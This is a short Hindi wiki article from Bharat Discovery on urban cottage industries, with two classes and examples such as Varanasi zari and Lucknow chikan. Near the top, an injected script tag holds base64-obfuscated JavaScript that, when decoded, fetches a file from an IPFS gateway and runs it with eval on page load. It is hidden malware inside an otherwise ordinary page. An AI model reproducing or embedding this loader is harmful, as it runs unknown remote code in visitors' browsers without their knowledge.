एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

नगरीय कुटीर उद्योग

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

नगरीय कुटीर उद्योग कुटीर उद्योगों के दो प्रकारों में से एक प्रकार है। ग्रामीण उद्योगों की भांति नगरीय कुटीर उद्योगों के भी दो वर्ग हैं-

  1. किंचित् नगरीय कुटीर उद्योग
  2. शहरी कुटीर उद्योग

किंचित् नगरीय कुटीर उद्योग

किंचित् नगरीय कुटीर उद्योगों में परम्परागत कुशलता एवं कारीगरी की महत्त्वपूर्ण भूमिका होती है जैसे वाराणसी का ज़री उद्योग, लखनऊ का चिकन, जयपुर की रजाइयों का निर्माण आर्दि।

शहरी कुटीर उद्योग

शहरी कुटीर उद्योग में आधुनिकता का समावेश रहता है तथा ये आधुनिक यान्त्रिक उद्योगों की समानता करते हैं, जैसे मदुरै का हथकरघा उद्योग।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख